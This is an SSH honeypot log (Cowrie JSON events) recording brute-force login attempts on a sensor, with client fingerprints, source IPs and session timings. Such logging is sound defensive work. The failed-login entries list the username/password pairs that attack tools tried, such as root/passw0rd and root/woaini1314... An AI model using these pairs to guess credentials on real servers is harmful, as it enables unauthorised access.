{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35696,"dst_ip":"10.17.0.5","dst_port":22,"session":"a36ce4d516da","protocol":"ssh","message":"New connection: 176.65.139.103:35696 (10.17.0.5:22) [session: a36ce4d516da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:05.118773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:05.123739Z","src_ip":"176.65.139.103","session":"a36ce4d516da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:05.231410Z","src_ip":"176.65.139.103","session":"a36ce4d516da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:05.532761Z","src_ip":"176.65.139.103","session":"a36ce4d516da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":39284,"dst_ip":"10.17.0.5","dst_port":22,"session":"a68285c32283","protocol":"ssh","message":"New connection: 103.176.20.115:39284 (10.17.0.5:22) [session: a68285c32283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:06.191846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:06.196838Z","src_ip":"103.176.20.115","session":"a68285c32283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:06.453688Z","src_ip":"103.176.20.115","session":"a68285c32283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:06.617650Z","src_ip":"176.65.139.103","session":"a36ce4d516da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini1314..","message":"login attempt [root/woaini1314..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:07.507480Z","src_ip":"103.176.20.115","session":"a68285c32283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48588,"dst_ip":"159.203.135.109","dst_port":22,"session":"982df75feda0","protocol":"ssh","message":"New connection: 159.203.92.129:48588 (159.203.135.109:22) [session: 982df75feda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:08.403071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:08.408454Z","src_ip":"159.203.92.129","session":"982df75feda0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:08.413207Z","src_ip":"159.203.92.129","session":"982df75feda0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"12345678","message":"login attempt [ansible/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:08.423493Z","src_ip":"159.203.92.129","session":"982df75feda0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:08.765863Z","src_ip":"103.176.20.115","session":"a68285c32283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:09.435991Z","src_ip":"159.203.92.129","session":"982df75feda0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35718,"dst_ip":"10.17.0.5","dst_port":22,"session":"9013ffe1fa1b","protocol":"ssh","message":"New connection: 176.65.139.103:35718 (10.17.0.5:22) [session: 9013ffe1fa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:12.154894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:12.164197Z","src_ip":"176.65.139.103","session":"9013ffe1fa1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:12.283336Z","src_ip":"176.65.139.103","session":"9013ffe1fa1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:12.630672Z","src_ip":"176.65.139.103","session":"9013ffe1fa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:13.733349Z","src_ip":"176.65.139.103","session":"9013ffe1fa1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47472,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2ea9100becb","protocol":"ssh","message":"New connection: 176.65.139.103:47472 (10.17.0.5:22) [session: b2ea9100becb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:19.086231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:19.090601Z","src_ip":"176.65.139.103","session":"b2ea9100becb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:19.173372Z","src_ip":"176.65.139.103","session":"b2ea9100becb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:19.441258Z","src_ip":"176.65.139.103","session":"b2ea9100becb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:20.530890Z","src_ip":"176.65.139.103","session":"b2ea9100becb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":32782,"dst_ip":"10.17.0.5","dst_port":22,"session":"be82c13b8553","protocol":"ssh","message":"New connection: 176.65.139.103:32782 (10.17.0.5:22) [session: be82c13b8553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:26.752004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:26.756676Z","src_ip":"176.65.139.103","session":"be82c13b8553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:26.838299Z","src_ip":"176.65.139.103","session":"be82c13b8553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:27.096106Z","src_ip":"176.65.139.103","session":"be82c13b8553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:28.187487Z","src_ip":"176.65.139.103","session":"be82c13b8553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50780,"dst_ip":"10.17.0.5","dst_port":22,"session":"899c2f9f7af8","protocol":"ssh","message":"New connection: 176.65.139.103:50780 (10.17.0.5:22) [session: 899c2f9f7af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:34.185012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:34.196077Z","src_ip":"176.65.139.103","session":"899c2f9f7af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:34.367504Z","src_ip":"176.65.139.103","session":"899c2f9f7af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:34.788306Z","src_ip":"176.65.139.103","session":"899c2f9f7af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:35.957959Z","src_ip":"176.65.139.103","session":"899c2f9f7af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50790,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a55127013b6","protocol":"ssh","message":"New connection: 176.65.139.103:50790 (10.17.0.5:22) [session: 4a55127013b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:41.717727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:41.730869Z","src_ip":"176.65.139.103","session":"4a55127013b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:41.817639Z","src_ip":"176.65.139.103","session":"4a55127013b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:42.144165Z","src_ip":"176.65.139.103","session":"4a55127013b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:43.244484Z","src_ip":"176.65.139.103","session":"4a55127013b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":53499,"dst_ip":"10.17.0.5","dst_port":22,"session":"adbd2c645742","protocol":"ssh","message":"New connection: 52.231.220.210:53499 (10.17.0.5:22) [session: adbd2c645742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:46.492016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:46.496313Z","src_ip":"52.231.220.210","session":"adbd2c645742","protocol":"ssh"}
